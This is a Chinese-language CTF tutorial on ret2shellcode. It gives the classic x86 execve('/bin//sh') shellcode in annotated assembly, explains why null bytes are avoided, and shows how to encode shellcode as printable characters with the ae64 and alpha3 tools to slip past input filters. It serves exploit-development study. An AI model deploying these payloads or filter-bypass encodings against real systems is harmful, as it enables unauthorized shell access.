从零开始的 Pwn 之旅 - Ret2shellcode 进阶

手写 shellcode

这里给出最经典的 shellcode

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
    xor    eax, eax        ; eax = 0
    push   eax             ; push 0 (null terminator)
    push   0x68732f2f      ; push "//sh"
    push   0x6e69622f      ; push "/bin"
    mov    ebx, esp        ; ebx = pointer to "/bin//sh"
    push   eax             ; push 0 (argv[1] = NULL)
    mov    edx, esp        ; edx = pointer to NULL
    push   ebx             ; push pointer to "/bin//sh"
    mov    ecx, esp        ; ecx = pointer to argv
    mov    al, 0xb         ; syscall number for execve
    int    0x80            ; trigger syscall

最经典的 Linux x86(32位)shellcode,它的作用是执行 /bin/sh(获得 shell)

为什么要使用 eax 来 push \x00?

如果我们使用以下这种形式

1
2
    push   0x68732f00      ; push "/sh\x00"
    push   0x6e69622f      ; push "/bin"

在小端序中:

1
2
3
4
5
+----------------------------+
| 2f 62 69 6e  | ("/bin")    | ← esp 指向这里
| 00 2f 73 68  | ("\x00/sh") |
| 00 00 00 00  | (终止符)    |
+----------------------------+

可以很明显的观察到字符串被截断了

shellcode 执行:

  • al = 0xb (execve syscall)
  • ebx = “/bin/sh” 的地址
  • ecx = argv 的地址(argv[1] = NULL 或者指向一个数组)
  • edx = envp 的地址(envp = NULL 或者指向一个数组)

手写 shellcode, 需要关注寄存器的内容

  • eax 一般用来存储函数的返回值, read 函数我们可以控制读入的字符数量来控制 eax 的值
  • 清空寄存器使用 xor 而不是 mov
  • push/pop 代替 mov, pop ebxmov ebx, xxx 更短

明文 shellcode

有些题目限制我们输入的字符串不能是不可见字符,这时候明文 shellcode 就派上用场了。

ae64

ae64

1
2
3
git clone https://github.com/veritas501/ae64.git --depth 1
cd ae64
python setup.py install

用法示例:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
from ae64 import AE64
from pwn import *
context.arch='amd64'

# get bytes format shellcode
shellcode = asm(shellcraft.sh())

# get alphanumeric shellcode
enc_shellcode = AE64().encode(shellcode)
print(enc_shellcode.decode('latin-1'))

默认参数:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
enc_shellcode = AE64().encode(shellcode)
# equal to
enc_shellcode = AE64().encode(shellcode, 'rax', 0, 'fast')

def encode(self, shellcode: bytes, register: str = 'rax', offset: int = 0, strategy: str = 'fast') -> bytes:
"""
encode given shellcode into alphanumeric shellcode (amd64 only)
@param shellcode: bytes format shellcode
@param register: the register contains shellcode pointer (can with offset) (default=rax)
@param offset: the offset (default=0)
@param strategy: encode strategy, can be "fast" or "small" (default=fast)
@return: encoded shellcode
"""

alpha3

alpha3

1
git clone https://github.com/TaQini/alpha3.git

用法示例:

1
2
3
4
from pwn import *
context.arch='amd64'
sc = shellcraft.sh()
print asm(sc)
1
2
3
4
5
python sc.py > ~/Pwn/alpha3/shellcode

# 下面两种选择一种
python ./ALPHA3.py x64 ascii mixedcase rax --input="shellcode"
./shellcode_x64.sh rax

这里用于编码的寄存器 call $register 就使用 $register 进行编码

手写明文 shellcode

手把手教你写纯字符ascii shellcode——最通俗易懂的alphanumeric shellcode生成指南